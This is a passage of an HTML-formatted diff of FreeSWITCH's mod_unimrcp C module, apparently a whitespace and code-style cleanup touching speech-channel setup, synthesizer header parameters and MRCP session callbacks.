</ins><span class="cx">                 switch_thread_cond_create(&amp;schan-&gt;cond, pool) != SWITCH_STATUS_SUCCESS ||
</span><span class="cx">                 audio_queue_create(&amp;schan-&gt;audio_queue, name, pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -803,7 +815,7 @@
</span><span class="cx">         }
</span><span class="cx">         *schannel = schan;
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -820,7 +832,7 @@
</span><span class="cx">         switch_mutex_lock(schannel-&gt;mutex);
</span><span class="cx">         if (schannel-&gt;state != SPEECH_CHANNEL_CLOSED) {
</span><span class="cx">                 mrcp_application_session_terminate(schannel-&gt;unimrcp_session);
</span><del>-                while(schannel-&gt;state != SPEECH_CHANNEL_CLOSED) {
</del><ins>+                while (schannel-&gt;state != SPEECH_CHANNEL_CLOSED) {
</ins><span class="cx">                         if (switch_thread_cond_timedwait(schannel-&gt;cond, schannel-&gt;mutex, SPEECH_CHANNEL_TIMEOUT_USEC) == SWITCH_STATUS_TIMEOUT) {
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="lines">@@ -867,7 +879,8 @@
</span><span class="cx">                 sample_rates = MPF_SAMPLE_RATE_8000;
</span><span class="cx">         }
</span><span class="cx">         mpf_codec_capabilities_add(&amp;capabilities-&gt;codecs, sample_rates, &quot;LPCM&quot;);
</span><del>-        termination = mrcp_application_audio_termination_create(schannel-&gt;unimrcp_session, &amp;schannel-&gt;application-&gt;audio_stream_vtable, capabilities, schannel);
</del><ins>+        termination =
+                mrcp_application_audio_termination_create(schannel-&gt;unimrcp_session, &amp;schannel-&gt;application-&gt;audio_stream_vtable, capabilities, schannel);
</ins><span class="cx"> 
</span><span class="cx">         return termination;
</span><span class="cx"> }
</span><span class="lines">@@ -876,20 +889,21 @@
</span><span class="cx"> {
</span><span class="cx">         mpf_termination_t *termination = NULL;
</span><span class="cx">         mpf_codec_descriptor_t *codec = NULL;
</span><del>-        codec = (mpf_codec_descriptor_t *)apr_palloc(schannel-&gt;unimrcp_session-&gt;pool, sizeof(mpf_codec_descriptor_t));
</del><ins>+        codec = (mpf_codec_descriptor_t *) apr_palloc(schannel-&gt;unimrcp_session-&gt;pool, sizeof(mpf_codec_descriptor_t));
</ins><span class="cx">         mpf_codec_descriptor_init(codec);
</span><span class="cx">         codec-&gt;channel_count = 1;
</span><span class="cx">         codec-&gt;payload_type = 96;
</span><span class="cx">         codec-&gt;sampling_rate = schannel-&gt;rate;
</span><del>-        apt_string_set(&amp;codec-&gt;name, &quot;LPCM&quot;); /* &quot;LPCM&quot; is UniMRCP's name for L16 host byte ordered */
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) requesting codec LPCM/%d/%d\n&quot;, schannel-&gt;name, codec-&gt;payload_type, codec-&gt;sampling_rate);
</del><ins>+        apt_string_set(&amp;codec-&gt;name, &quot;LPCM&quot;);        /* &quot;LPCM&quot; is UniMRCP's name for L16 host byte ordered */
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) requesting codec LPCM/%d/%d\n&quot;, schannel-&gt;name, codec-&gt;payload_type,
+                                          codec-&gt;sampling_rate);
</ins><span class="cx"> 
</span><span class="cx">         if (schannel-&gt;type == SPEECH_CHANNEL_SYNTHESIZER) {
</span><span class="cx">                 termination = mrcp_application_sink_termination_create(schannel-&gt;unimrcp_session, &amp;schannel-&gt;application-&gt;audio_stream_vtable, codec, schannel);
</span><span class="cx">         } else {
</span><span class="cx">                 termination = mrcp_application_source_termination_create(schannel-&gt;unimrcp_session, &amp;schannel-&gt;application-&gt;audio_stream_vtable, codec, schannel);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return termination;
</span><span class="cx"> }
</span><span class="cx"> #endif
</span><span class="lines">@@ -908,7 +922,7 @@
</span><span class="cx">         mrcp_resource_type_e resource_type;
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(schannel-&gt;mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* make sure we can open channel */
</span><span class="cx">         if (schannel-&gt;state != SPEECH_CHANNEL_CLOSED) {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -918,13 +932,13 @@
</span><span class="cx">         schannel-&gt;profile = profile;
</span><span class="cx"> 
</span><span class="cx">         /* create MRCP session */
</span><del>-        if ((schannel-&gt;unimrcp_session = mrcp_application_session_create(schannel-&gt;application-&gt;app, profile-&gt;name, schannel)) == NULL) {        
</del><ins>+        if ((schannel-&gt;unimrcp_session = mrcp_application_session_create(schannel-&gt;application-&gt;app, profile-&gt;name, schannel)) == NULL) {
</ins><span class="cx">                 /* profile doesn't exist? */
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;(%s) Unable to create session with %s\n&quot;, schannel-&gt;name, profile-&gt;name);
</span><span class="cx">                 status = SWITCH_STATUS_RESTART;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* create audio termination and add to channel */
</span><span class="cx">         if ((termination = speech_channel_create_mpf_termination(schannel)) == NULL) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;(%s) Unable to create termination with %s\n&quot;, schannel-&gt;name, profile-&gt;name);
</span><span class="lines">@@ -960,14 +974,13 @@
</span><span class="cx">         }
</span><span class="cx">         if (schannel-&gt;state == SPEECH_CHANNEL_READY) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) channel is ready\n&quot;, schannel-&gt;name);
</span><del>-        }
-        else if (schannel-&gt;state == SPEECH_CHANNEL_CLOSED) {
</del><ins>+        } else if (schannel-&gt;state == SPEECH_CHANNEL_CLOSED) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;(%s) Timed out waiting for channel to be ready\n&quot;, schannel-&gt;name);
</span><span class="cx">                 /* can't retry */
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         } else if (schannel-&gt;state == SPEECH_CHANNEL_ERROR) {
</span><span class="cx">                 /* Wait for session to be cleaned up */
</span><del>-                while(schannel-&gt;state == SPEECH_CHANNEL_ERROR) {
</del><ins>+                while (schannel-&gt;state == SPEECH_CHANNEL_ERROR) {
</ins><span class="cx">                         if (switch_thread_cond_timedwait(schannel-&gt;cond, schannel-&gt;mutex, SPEECH_CHANNEL_TIMEOUT_USEC) == SWITCH_STATUS_TIMEOUT) {
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="lines">@@ -981,7 +994,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         switch_mutex_unlock(schannel-&gt;mutex);
</span><span class="cx">         return status;
</span><span class="lines">@@ -1015,7 +1028,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* set generic header fields (content-type) */
</span><del>-        if ((generic_header = (mrcp_generic_header_t *)mrcp_generic_header_prepare(mrcp_message)) == NULL) {        
</del><ins>+        if ((generic_header = (mrcp_generic_header_t *) mrcp_generic_header_prepare(mrcp_message)) == NULL) {
</ins><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="lines">@@ -1029,7 +1042,7 @@
</span><span class="cx">         mrcp_generic_header_property_add(mrcp_message, GENERIC_HEADER_CONTENT_TYPE);
</span><span class="cx"> 
</span><span class="cx">         /* set synthesizer header fields (voice, rate, etc.) */
</span><del>-        if ((synth_header = (mrcp_synth_header_t *)mrcp_resource_header_prepare(mrcp_message)) == NULL) {
</del><ins>+        if ((synth_header = (mrcp_synth_header_t *) mrcp_resource_header_prepare(mrcp_message)) == NULL) {
</ins><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="lines">@@ -1057,7 +1070,7 @@
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         switch_mutex_unlock(schannel-&gt;mutex);
</span><span class="cx">         return status;
</span><span class="lines">@@ -1072,7 +1085,8 @@
</span><span class="cx">  * @param synth_hdr the synthesizer headers to set
</span><span class="cx">  * @return SWITCH_STATUS_SUCCESS
</span><span class="cx">  */
</span><del>-static switch_status_t synth_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr, mrcp_synth_header_t *synth_hdr)
</del><ins>+static switch_status_t synth_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr,
+                                                                                                mrcp_synth_header_t *synth_hdr)
</ins><span class="cx"> {
</span><span class="cx">         /* loop through each param and add to synth header or vendor-specific-params */
</span><span class="cx">         switch_hash_index_t *hi = NULL;
</span><span class="lines">@@ -1081,10 +1095,10 @@
</span><span class="cx">                 const void *key;
</span><span class="cx">                 void *val;
</span><span class="cx">                 switch_hash_this(hi, &amp;key, NULL, &amp;val);
</span><del>-                param_name = (char *)key;
-                param_val = (char *)val;
</del><ins>+                param_name = (char *) key;
+                param_val = (char *) val;
</ins><span class="cx">                 if (!zstr(param_name) &amp;&amp; !zstr(param_val)) {
</span><del>-                        unimrcp_param_id_t *id = (unimrcp_param_id_t *)switch_core_hash_find(schannel-&gt;application-&gt;param_id_map, param_name);
</del><ins>+                        unimrcp_param_id_t *id = (unimrcp_param_id_t *) switch_core_hash_find(schannel-&gt;application-&gt;param_id_map, param_name);
</ins><span class="cx">                         if (id) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) %s: %s\n&quot;, schannel-&gt;name, param_name, param_val);
</span><span class="cx">                                 synth_channel_set_header(schannel, id-&gt;id, param_val, msg, synth_hdr);
</span><span class="lines">@@ -1094,7 +1108,7 @@
</span><span class="cx"> 
</span><span class="cx">                                 /* this is probably a vendor-specific MRCP param */
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) (vendor-specific value) %s: %s\n&quot;, schannel-&gt;name, param_name, param_val);
</span><del>-                                apt_string_set(&amp;apt_param_name, param_name); /* copy isn't necessary since apt_pair_array_append will do it */
</del><ins>+                                apt_string_set(&amp;apt_param_name, param_name);        /* copy isn't necessary since apt_pair_array_append will do it */
</ins><span class="cx">                                 apt_string_set(&amp;apt_param_val, param_val);
</span><span class="cx">                                 if (!gen_hdr-&gt;vendor_specific_params) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) creating vendor specific pair array\n&quot;, schannel-&gt;name);
</span><span class="lines">@@ -1104,7 +1118,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (gen_hdr-&gt;vendor_specific_params) {
</span><span class="cx">                 mrcp_generic_header_property_add(msg, GENERIC_HEADER_VENDOR_SPECIFIC_PARAMS);
</span><span class="cx">         }
</span><span class="lines">@@ -1139,27 +1153,27 @@
</span><span class="cx">                 mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_VOICE_GENDER);
</span><span class="cx">                 break;
</span><span class="cx"> 
</span><del>-        case SYNTHESIZER_HEADER_VOICE_AGE: {
-                int age = atoi(val);
-                if (age &gt; 0 &amp;&amp; age &lt; 1000) {
-                        synth_hdr-&gt;voice_param.age = age;
-                        mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_VOICE_AGE);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) ignoring invalid voice age, %s\n&quot;, schannel-&gt;name, val);
</del><ins>+        case SYNTHESIZER_HEADER_VOICE_AGE:{
+                        int age = atoi(val);
+                        if (age &gt; 0 &amp;&amp; age &lt; 1000) {
+                                synth_hdr-&gt;voice_param.age = age;
+                                mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_VOICE_AGE);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) ignoring invalid voice age, %s\n&quot;, schannel-&gt;name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
</del><span class="cx"> 
</span><del>-        case SYNTHESIZER_HEADER_VOICE_VARIANT: {
-                int variant = atoi(val);
-                if (variant &gt; 0) {
-                        synth_hdr-&gt;voice_param.variant = variant;
-                        mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_VOICE_VARIANT);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) ignoring invalid voice variant, %s\n&quot;, schannel-&gt;name, val);
</del><ins>+        case SYNTHESIZER_HEADER_VOICE_VARIANT:{
+                        int variant = atoi(val);
+                        if (variant &gt; 0) {
+                                synth_hdr-&gt;voice_param.variant = variant;
+                                mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_VOICE_VARIANT);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) ignoring invalid voice variant, %s\n&quot;, schannel-&gt;name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
</del><span class="cx"> 
</span><span class="cx">         case SYNTHESIZER_HEADER_VOICE_NAME:
</span><span class="cx">                 apt_string_assign(&amp;synth_hdr-&gt;voice_param.name, val, msg-&gt;pool);
</span><span class="lines">@@ -1174,10 +1188,10 @@
</span><span class="cx">         case SYNTHESIZER_HEADER_PROSODY_VOLUME:
</span><span class="cx">                 if (switch_isdigit(*val) || *val == '.') {
</span><span class="cx">                         synth_hdr-&gt;prosody_param.volume.type = PROSODY_VOLUME_TYPE_NUMERIC;
</span><del>-                        synth_hdr-&gt;prosody_param.volume.value.numeric = (float)atof(val);
</del><ins>+                        synth_hdr-&gt;prosody_param.volume.value.numeric = (float) atof(val);
</ins><span class="cx">                 } else if (*val == '+' || *val == '-') {
</span><span class="cx">                         synth_hdr-&gt;prosody_param.volume.type = PROSODY_VOLUME_TYPE_RELATIVE_CHANGE;
</span><del>-                        synth_hdr-&gt;prosody_param.volume.value.relative = (float)atof(val);
</del><ins>+                        synth_hdr-&gt;prosody_param.volume.value.relative = (float) atof(val);
</ins><span class="cx">                 } else if (!strcasecmp(&quot;silent&quot;, val)) {
</span><span class="cx">                         synth_hdr-&gt;prosody_param.volume.type = PROSODY_VOLUME_TYPE_LABEL;
</span><span class="cx">                         synth_hdr-&gt;prosody_param.volume.value.label = PROSODY_VOLUME_SILENT;
</span><span class="lines">@@ -1209,7 +1223,7 @@
</span><span class="cx">         case SYNTHESIZER_HEADER_PROSODY_RATE:
</span><span class="cx">                 if (switch_isdigit(*val) || *val == '.') {
</span><span class="cx">                         synth_hdr-&gt;prosody_param.rate.type = PROSODY_RATE_TYPE_RELATIVE_CHANGE;
</span><del>-                        synth_hdr-&gt;prosody_param.rate.value.relative = (float)atof(val);
</del><ins>+                        synth_hdr-&gt;prosody_param.rate.value.relative = (float) atof(val);
</ins><span class="cx">                 } else if (!strcasecmp(&quot;x-slow&quot;, val)) {
</span><span class="cx">                         synth_hdr-&gt;prosody_param.rate.type = PROSODY_RATE_TYPE_LABEL;
</span><span class="cx">                         synth_hdr-&gt;prosody_param.rate.value.label = PROSODY_RATE_XSLOW;
</span><span class="lines">@@ -1240,7 +1254,7 @@
</span><span class="cx">                 mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_SPEECH_LANGUAGE);
</span><span class="cx">                 break;
</span><span class="cx"> 
</span><del>-        /* unsupported by this module */
</del><ins>+                /* unsupported by this module */
</ins><span class="cx">         case SYNTHESIZER_HEADER_JUMP_SIZE:
</span><span class="cx">         case SYNTHESIZER_HEADER_SPEAKER_PROFILE:
</span><span class="cx">         case SYNTHESIZER_HEADER_COMPLETION_CAUSE:
</span><span class="lines">@@ -1266,7 +1280,7 @@
</span><span class="cx">  * 
</span><span class="cx">  * @param schannel the channel
</span><span class="cx">  * @return SWITCH_STATUS_SUCCESS if successful
</span><del>- */ 
</del><ins>+ */
</ins><span class="cx"> static switch_status_t speech_channel_stop(speech_channel_t *schannel)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -1279,7 +1293,7 @@
</span><span class="cx">                         method = SYNTHESIZER_STOP;
</span><span class="cx">                 } else {
</span><span class="cx">                         method = RECOGNIZER_STOP;
</span><del>-                } 
</del><ins>+                }
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) Stopping %s\n&quot;, schannel-&gt;name, speech_channel_type_to_string(schannel-&gt;type));
</span><span class="cx">                 /* Send STOP to MRCP server */
</span><span class="cx">                 mrcp_message = mrcp_application_message_create(schannel-&gt;unimrcp_session, schannel-&gt;unimrcp_channel, method);
</span><span class="lines">@@ -1309,7 +1323,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) %s stopped\n&quot;, schannel-&gt;name, speech_channel_type_to_string(schannel-&gt;type));
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         switch_mutex_unlock(schannel-&gt;mutex);
</span><span class="cx">         return status;
</span><span class="lines">@@ -1323,9 +1337,11 @@
</span><span class="cx">  */
</span><span class="cx"> static const char *speech_channel_type_to_string(speech_channel_type_t type)
</span><span class="cx"> {
</span><del>-        switch(type) {
-                case SPEECH_CHANNEL_SYNTHESIZER: return &quot;SYNTHESIZER&quot;;
-                case SPEECH_CHANNEL_RECOGNIZER: return &quot;RECOGNIZER&quot;;
</del><ins>+        switch (type) {
+        case SPEECH_CHANNEL_SYNTHESIZER:
+                return &quot;SYNTHESIZER&quot;;
+        case SPEECH_CHANNEL_RECOGNIZER:
+                return &quot;RECOGNIZER&quot;;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         return &quot;UNKNOWN&quot;;
</span><span class="lines">@@ -1409,13 +1425,17 @@
</span><span class="cx">  * @param state the channel state
</span><span class="cx">  * @return string representation of the state
</span><span class="cx">  */
</span><del>-static const char *speech_channel_state_to_string(speech_channel_state_t state) 
</del><ins>+static const char *speech_channel_state_to_string(speech_channel_state_t state)
</ins><span class="cx"> {
</span><del>-        switch(state) {
-                case SPEECH_CHANNEL_CLOSED: return &quot;CLOSED&quot;;
-                case SPEECH_CHANNEL_READY: return &quot;READY&quot;;
-                case SPEECH_CHANNEL_PROCESSING: return &quot;PROCESSING&quot;;
-                case SPEECH_CHANNEL_ERROR: return &quot;ERROR&quot;;
</del><ins>+        switch (state) {
+        case SPEECH_CHANNEL_CLOSED:
+                return &quot;CLOSED&quot;;
+        case SPEECH_CHANNEL_READY:
+                return &quot;READY&quot;;
+        case SPEECH_CHANNEL_PROCESSING:
+                return &quot;PROCESSING&quot;;
+        case SPEECH_CHANNEL_ERROR:
+                return &quot;ERROR&quot;;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         return &quot;UNKNOWN&quot;;
</span><span class="lines">@@ -1449,10 +1469,11 @@
</span><span class="cx"> {
</span><span class="cx">         if (schannel-&gt;state == SPEECH_CHANNEL_PROCESSING &amp;&amp; state != SPEECH_CHANNEL_PROCESSING) {
</span><span class="cx">                 /* wake anyone waiting for audio data */
</span><del>-                audio_queue_clear(schannel-&gt;audio_queue);        
</del><ins>+                audio_queue_clear(schannel-&gt;audio_queue);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) %s ==&gt; %s\n&quot;, schannel-&gt;name, speech_channel_state_to_string(schannel-&gt;state), speech_channel_state_to_string(state));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) %s ==&gt; %s\n&quot;, schannel-&gt;name, speech_channel_state_to_string(schannel-&gt;state),
+                                          speech_channel_state_to_string(state));
</ins><span class="cx">         schannel-&gt;state = state;
</span><span class="cx">         switch_thread_cond_signal(schannel-&gt;cond);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -1477,17 +1498,18 @@
</span><span class="cx">         profile_t *profile = NULL;
</span><span class="cx">         int speech_channel_number = get_next_speech_channel_number();
</span><span class="cx">         char name[200] = { 0 };
</span><del>-        
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;speech_handle: name = %s, rate = %d, speed = %d, samples = %d, voice = %s, engine = %s, param = %s\n&quot;,
-                                                sh-&gt;name, sh-&gt;rate, sh-&gt;speed, sh-&gt;samples, sh-&gt;voice, sh-&gt;engine, sh-&gt;param); 
</del><ins>+
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO,
+                                          &quot;speech_handle: name = %s, rate = %d, speed = %d, samples = %d, voice = %s, engine = %s, param = %s\n&quot;, sh-&gt;name, sh-&gt;rate,
+                                          sh-&gt;speed, sh-&gt;samples, sh-&gt;voice, sh-&gt;engine, sh-&gt;param);
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;voice = %s, rate = %d\n&quot;, voice_name, rate);
</span><span class="cx"> 
</span><span class="cx">         /* It would be nice if FreeSWITCH let us know which session owns this handle, but it doesn't.  So, lets
</span><del>-                make our own unique name */
</del><ins>+           make our own unique name */
</ins><span class="cx">         switch_snprintf(name, sizeof(name) - 1, &quot;TTS-%d&quot;, speech_channel_number);
</span><span class="cx">         name[sizeof(name) - 1] = '\0';
</span><del>-        
-        if (speech_channel_create(&amp;schannel, name, SPEECH_CHANNEL_SYNTHESIZER, &amp;globals.synth, (uint16_t)rate, sh-&gt;memory_pool) != SWITCH_STATUS_SUCCESS) {
</del><ins>+
+        if (speech_channel_create(&amp;schannel, name, SPEECH_CHANNEL_SYNTHESIZER, &amp;globals.synth, (uint16_t) rate, sh-&gt;memory_pool) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="lines">@@ -1497,7 +1519,7 @@
</span><span class="cx">         if (zstr(profile_name)) {
</span><span class="cx">                 profile_name = globals.unimrcp_default_synth_profile;
</span><span class="cx">         }
</span><del>-        profile = (profile_t *)switch_core_hash_find(globals.profiles, profile_name);
</del><ins>+        profile = (profile_t *) switch_core_hash_find(globals.profiles, profile_name);
</ins><span class="cx">         if (!profile) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;(%s) Can't find profile, %s\n&quot;, name, profile_name);
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -1512,7 +1534,7 @@
</span><span class="cx">                 speech_channel_set_param(schannel, &quot;Voice-Name&quot;, voice_name);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -1527,7 +1549,7 @@
</span><span class="cx">  */
</span><span class="cx"> static switch_status_t synth_speech_close(switch_speech_handle_t *sh, switch_speech_flag_t *flags)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)sh-&gt;private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) sh-&gt;private_info;
</ins><span class="cx">         speech_channel_stop(schannel);
</span><span class="cx">         speech_channel_destroy(schannel);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -1545,8 +1567,8 @@
</span><span class="cx"> static switch_status_t synth_speech_feed_tts(switch_speech_handle_t *sh, char *text, switch_speech_flag_t *flags)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)sh-&gt;private_info;
-        
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) sh-&gt;private_info;
+
</ins><span class="cx">         if (zstr(text)) {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         } else {
</span><span class="lines">@@ -1577,7 +1599,7 @@
</span><span class="cx"> #ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) adding %ld bytes of padding\n&quot;, schannel-&gt;name, *datalen - bytes_read);
</span><span class="cx"> #endif
</span><del>-                        memset((uint8_t *)data + bytes_read, schannel-&gt;silence, *datalen - bytes_read);
</del><ins>+                        memset((uint8_t *) data + bytes_read, schannel-&gt;silence, *datalen - bytes_read);
</ins><span class="cx">                 }
</span><span class="cx">         } else {
</span><span class="cx">                 *datalen = 0;
</span><span class="lines">@@ -1598,7 +1620,7 @@
</span><span class="cx">  */
</span><span class="cx"> static void synth_speech_flush_tts(switch_speech_handle_t *sh)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)sh-&gt;private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) sh-&gt;private_info;
</ins><span class="cx">         speech_channel_stop(schannel);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1612,7 +1634,7 @@
</span><span class="cx">  */
</span><span class="cx"> static void synth_speech_text_param_tts(switch_speech_handle_t *sh, char *param, const char *val)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)sh-&gt;private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) sh-&gt;private_info;
</ins><span class="cx">         speech_channel_set_param(schannel, param, val);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1626,7 +1648,7 @@
</span><span class="cx">  */
</span><span class="cx"> static void synth_speech_numeric_param_tts(switch_speech_handle_t *sh, char *param, int val)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)sh-&gt;private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) sh-&gt;private_info;
</ins><span class="cx">         char *val_str = switch_mprintf(&quot;%d&quot;, val);
</span><span class="cx">         speech_channel_set_param(schannel, param, val_str);
</span><span class="cx">         switch_safe_free(val_str);
</span><span class="lines">@@ -1642,7 +1664,7 @@
</span><span class="cx">  */
</span><span class="cx"> static void synth_speech_float_param_tts(switch_speech_handle_t *sh, char *param, double val)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)sh-&gt;private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) sh-&gt;private_info;
</ins><span class="cx">         char *val_str = switch_mprintf(&quot;%f&quot;, val);
</span><span class="cx">         speech_channel_set_param(schannel, param, val_str);
</span><span class="cx">         switch_safe_free(val_str);
</span><span class="lines">@@ -1669,7 +1691,7 @@
</span><span class="cx">  */
</span><span class="cx"> static apt_bool_t speech_on_session_terminate(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)mrcp_application_session_object_get(session);
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) mrcp_application_session_object_get(session);
</ins><span class="cx">         switch_event_t *event = NULL;
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) Destroying MRCP session\n&quot;, schannel-&gt;name);
</span><span class="cx">         mrcp_application_session_destroy(session);
</span><span class="lines">@@ -1702,10 +1724,11 @@
</span><span class="cx">  * @param status the result of the channel add request
</span><span class="cx">  * @return TRUE
</span><span class="cx">  */
</span><del>-static apt_bool_t speech_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status)
</del><ins>+static apt_bool_t speech_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel,
+                                                                                mrcp_sig_status_code_e status)
</ins><span class="cx"> {
</span><span class="cx">         switch_event_t *event = NULL;
</span><del>-        speech_channel_t *schannel =  (speech_channel_t *)mrcp_application_channel_object_get(channel);
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) mrcp_application_channel_object_get(channel);
</ins><span class="cx"> 
</span><span class="cx">         /* check status */
</span><span class="cx">         if (session &amp;&amp; schannel &amp;&amp; status == MRCP_SIG_STATUS_CODE_SUCCESS) {
</span><span class="lines">@@ -1714,7 +1737,7 @@
</span><span class="cx">                 const mpf_codec_descriptor_t *descriptor;
</span><span class="cx">                 /* what sample rate did we negotiate? */
</span><span class="cx">                 if (schannel-&gt;type == SPEECH_CHANNEL_SYNTHESIZER) {
</span><del>-                         descriptor = mrcp_application_sink_descriptor_get(channel);
</del><ins>+                        descriptor = mrcp_application_sink_descriptor_get(channel);
</ins><span class="cx">                 } else {
</span><span class="cx">                         descriptor = mrcp_application_source_descriptor_get(channel);
</span><span class="cx">                 }
</span><span class="lines">@@ -1722,10 +1745,12 @@
